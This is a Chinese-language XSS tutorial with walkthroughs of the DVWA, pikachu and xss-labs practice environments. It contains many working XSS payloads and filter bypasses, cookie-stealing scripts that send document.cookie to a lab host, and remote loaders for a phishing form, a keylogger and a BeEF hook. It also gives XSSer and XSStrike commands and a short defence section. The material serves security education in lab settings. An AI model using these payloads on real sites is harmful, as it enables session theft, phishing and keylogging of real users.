1、HTTP协议回顾

XSS又名跨站脚本攻击

web页面登陆页面,往往有一个“记住密码”功能 ---> Cookie

1.1 HTTP流程





1.2 HTTP特点:

  • 请求应答模式
  • 灵活可拓展
  • 可靠传输
  • 无状态stateless -- 客户端每次请求都是完全独立的,没有任何联系

2、客户端的Cookie

显示:每个请求都是独立的

需求:保持会话

目的:为了解决stateless无状态的影响

1、第一次访问,浏览器会保存服务器下发的Cookie

2、客户端在本机将cookie保存到内存或磁盘下面

3、后面每次请求都带上cookie

2.1 cookie内容

key/value 格式,例如:

name = wuya
id = 99
islogin = 1

一般包含:内容value、起作用的路径、起作用的域名、到期时间

(需要计算过期时间的Cookie会保存在磁盘。没有过期时间的,属于临时cookie,则是保存在内存)

2.2 cookie特点

  • 明文
  • 可修改
  • 数量和大小受限(视浏览器而定)

Cookie的用途

  • 记住登陆状态
  • 跟踪用户行为(广告推送等等)

3、服务器的Session

转换思路:将一大串保存在服务端,且只通过COOKIE字段下发一个字段SESSID

减少浏览器客户端的负担,只需要看客户端的cookie中是否有已登录的SessionID

3.1 session流程

客户端 --> 第一次访问:开启会话,将登陆信息保存到session --> 服务端

客户端 <-- 如选择记住密码,则将sessionID写入cookie并下发 <-- 服务端

客户端 --> 第二次访问,从session中取出信息,判断登陆状态 --> 服务端

3.2 cookie和session的区别

4、JavaScript操作Cookie

想法:可不可以复制别的浏览器cookie中的sessionid?从而达到直接登录?

答案是可行的!

问题:如何远程获取到其他用户的cookie?

4.1 JavaScript语法

获取:document.coookie;

设置:document.cookie = "username=wuya";

修改:创建一个cookie覆盖

删除:将cookie过期时间,设置为如1999年

想法:将脚本注入到网页服务器中,并运行

5、脚本注入网页-XSS

前提:输入框存在提交,并且会解析运行JavaScript的脚本

POST请求如:<script>alert(1)</script>

GET 请求如:?url=javascript:alert(/wuya/)

5.1 XSS:Cross Site Script

恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,这个时候就达到了攻击的目的。

JavaScript、Java、VBScript、ActiveX、Flash

反射型、存储型、DOM型(通过HTML的结构实现)

5.2 反射型XSS

5.3 存储型XSS

如注册、发评论等等

6、获取Cookie发送邮件实战

6.1 首先写一个mail.js文件

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie=' + encodeURIComponent(document.cookie);

6.2 存储型注入

在注册时输入:<script = \'http://localhost/xss/mail.js'></script>

6.3 执行脚本

当有人点击或访问,就会执行mail.js,其中sendmail.php会将当前访问该路径的用户的cookie,通过参数?mycookie转发邮件到黑客的qq邮箱中

7、DVWA靶场XSS

默认账号:admin

默认密码:password

7.1 XSS(Reflected)

7.1.1 Security = Low

payload = <script>alert('xxx')</script>

7.1.2 Security = Medium

做了一个str_replace()将script过滤成' '空

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

绕过:大小写、双写

payload = <Script>alert('xxx')</script>

payload = <sc<script>ript>alert(123456)</script>

7.1.3 Security = High

运用了正则表达式

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

绕过:运用其他标签

payload = <删除img src=" " onerror="alert('XSS')">

7.1.4 Security = Impossible

运了htmlspecialchars()函数

将特殊字符转换为HTML实体符号,相当于被编码

7.2 XSS(Stored)

7.2.1 Security = Low

发现Name字段存在长度限制,但是Message字段没有

payload = <script>alert(123456)</script>

发现一旦刷新,每访问一次,就会攻击一次,出现弹窗

7.2.2 Security = Medium

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤<script>字符串,仍然存在存储型的XSS。

绕过:抓包改name参数为<sc<script>ript>alert(/xss/)</script>

也可以审查元素,修改长度限制

7.2.3 Security = High

7.2.4 Security = Impossible

8、XSS后台平台搭建(pikachu靶场xss后台为例)

8.1 搭建

在本机搭建pikachu(修改inc配置文件)

在Win7虚拟机搭建pikachu XSS后台

相当于:用本机的XSS漏洞环境,将cookie传到虚拟机Win7的XSS后台数据库中

8.2 Payload

8.2.1 反射型xss(get):<script>alert("xu")</script>

在Win7的Cookie.php中修改重定向地址,让别人误以为只是刷新了一下

<script>document.location='http://虚拟机ip/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

http://192.168.125.131:8080/

8.2.2 反射型xss(post)

在修改Win7中post.html

攻击方式:将带毒的页面(Win7中的post.html)发给别人,一旦点击会访问有xss漏洞的本机地址,然后自动输入payload被拿cookie

最后访问带毒地址url:http://192.168.125.131:8080/pikachu/pkxss/xcookie/post.html

8.2.3 存储型xss(钓鱼xfish)

修改fish.php,弹出迷惑性的登陆界面

<script src="http://192.168.125.131:8080/pikachu/pkxss/xfish/fish.php"></script>

用法:将JS语句存储在留言板中,当有人访问留言板时候,就会弹窗输密码

8.2.4 存储型xss(获取键盘记录)

修改rk.js

<script src="http://192.168.125.131:8080/pikachu/pkxss/rkeypress/rk.js"></script>

用法:将JS语句存储在留言板中,当有人访问,可以看到其键盘输入

8.3 其他XSS平台

https://github.com/78778443/xssplatform

Kali:beef-xss(密码/etc/beef-xss/config.yaml)

在反射型XSS处,执行 <script src="http://Kali的ip:3000/hook.js"></script>

发现在beef上线,可以在command处对受害机器进行操作

9、XSS检查和利用

9.1 测试XSS的payload

9.1.1XSSER (https://github.com/epsylon/xsser)(https://xsser.03c8.net)

实例:

由于DVWA需要登录,所以需要给他一个cookei

xsser -u "http://ip地址/dvwa/vulnerabilities/" -g "/xss_r/?name=XSS" --cookie="security=low; PHPSESSID=do462brkn1gnerpusf1f5aqd30; BEEFHOOK=d83iUtVEPA40EzTeQuAGilAcNsvuKbYCssJDO2qhLkKyPNK37CIIV5NZpvaINYqVPT4erug7xcrfqPCh" -s -v --reverse-check

9.1.2 XSSSTRIKE(https://github.com/s0md3v/XSStrike)

任意切换python版本!

添加python可选项:

update-alternatives --install /usr/bin/python python /usr/bin/python2.7 2 # 添加Python2可选项,优先级为2,优先级高的数字大,此处设置python2优先级高于python3

然后输入update-alternatives --config python

删除python可选项

update-alternatives --remove python /usr/bin/python2.7

get类型命令:python xsstrike.py -u 'http://xxx/xxx.php?message=123&subbmit=submit'

post类型命令:python xsstrike.py -u "xxx/xx.php" --data 'name=1'

10、XSS防御方法

入口:

识别:正则,处理:替换

出口:

echo "",document.write();htmlspecialchars

WAF

11、xss-labs闯关游戏

思路:使用万能payload看看做了什么处理!再查看页面源码!

<sCr<scrscRiptipt>ipt>OonN&apos;\"<>

&apos是单引号

第一关

payload = ?name=<script>alert("xss")</script>

第二关

查看页面代码,发现没有任何过滤,且输入在value中需要闭合

payload = "> <script>alert("xss")</script>

第三关

过滤了尖括号,所以闭合+触发onmouseover,插入脚本当鼠标滑过输入框触发

payload = ' onmouseover='alert(/xss/)

第四关

<script " ' Oonn>

发现过滤了尖括号

payload = " onmouseover="alert(1)

第五关

过滤替换了script和on关键字,使用伪协议生成带alert的超链接

payload = "><a href = "javascript:alert(/xss/)">click</a>

第六关

过滤替换了script和on=以及href关键字,使用伪协议+大小写hERf绕过

payload = "><a hREf = "javascript:alert(/xss/)">click</a>

第七关

script标签被过滤,闭合+双写绕过

payload = "> <SCRscriptIPT>alert(1)</SCRscriptIPT>

第八关

提供了友情链接,使用伪协议javascript:alert(/xss/),发现script被替换

对内容进行一个Unicode编码



payload = javascript:alert(/xss/)

第九关

你的链接不合法!

payload = javascript:alert('http://www.baidu.com')

第十关

GET类型请求,尖括号不行,但是发现三个隐藏的input标签,闭合触发事件

然后因为标签是hidden的,导致无法触发标签的事件监听,所以需要覆盖掉标签的hidden属性,或者使用//注释掉

payload = ?t_sort=click" type="button" onclick="alert(/xss/)

payload = ?t_sort=" onmouseover="alert(1)" type=""//

第十一关

通过BP抓包,修改Referer值,发现会传递到代码中



payload = click" type="button" onclick="alert(1)

portswigger

<custom-tag onmouseover='alert("xss")'>

"><body onresize=alert(1)>

3-XSS渗透与防御的更多相关文章

  1. 前端安全(XSS、CSRF防御)

    一.网络安全          OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)        OWASP是一个开源的 ...

  2. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  3. 《前端之路》 之 前端 安全 XSS 原理以及防御手段

    什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...

  4. XSS(四)攻击防御

    XSS Filter XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中, ...

  5. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  6. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  7. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  8. web渗透—xss攻击如何防御

    1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...

  9. XSS理解与防御

    一.说明 我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢.那时我最怕两个问题,第一个是题目做 ...

  10. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

随机推荐

  1. Identity – Introduction & Scaffold

    主要参考: Introduction to Identity on ASP.NET Core Start by command dotnet new webapp --auth Individual ...

  2. Nuxt Kit 中的布局管理

    title: Nuxt Kit 中的布局管理 date: 2024/9/18 updated: 2024/9/18 author: cmdragon excerpt: 摘要:本文详述了在Nuxt.js ...

  3. SQL注入演示

    SQL注入演示 创建一个简易的登录系统/** tb_user  用户表 * 用户登录系统(需在数据库中创建tb_user表 ) */ @Test public void testUserLogin() ...

  4. Flutter 这一年:2022 亮点时刻

    回看 2022,展望 Flutter Forward 2022 年,我们非常兴奋的看到 Flutter 社区持续发展壮大,也因此让更多人体验到了令人难以置信的体验.每天有超过 1000 款使用 Flu ...

  5. HDLC报文简单分析

    最近在学习HDLC协议,从刚开始的一窍不通到现在的懵懵懂懂,下面分享一段报文解析,给初学者一点点经验的分析. 报文:7E A0 57 03 02 B8 4B 5B E6 E7 00 C4 01 C1 ...

  6. Vscode 远程切换Python虚拟环境

    在VSCode中远程切换Python虚拟环境是一个涉及多个步骤的过程,包括安装必要的扩展.连接到远程服务器.创建或激活虚拟环境,并在VSCode中选择相应的Python解释器.以下是一个详细的步骤指南 ...

  7. 华为GaussDB数据库(单机版)在ARM环境下的安装指南

    一.软件版本 机器配置:8核16G,CPU: Huawei Kunpeng 920 2.9GHz 操作系统:EulerOS 2.8 64bit with ARM 数据库版本:GaussDB Kerne ...

  8. Salesforce AI Specialist篇之 Prompt Builder

    本篇参考: https://salesforce.vidyard.com/watch/UUAxcUfHYGAxH3D9wV1RxJ https://help.salesforce.com/s/arti ...

  9. /proc/buddyinfo

    在应用程序设计过程中,内存是很重要的资源,而计算机主机的内存资源时有限的.一般而言我们可以申请到的内存是有限的,并不是想申请多大就有多大就可以申请多大的./proc/buddyinfo文件里,就记录着 ...

  10. ORM的设计思想

    1 以面向对象的思想来完成对于数据库的操作! 2 万物皆对象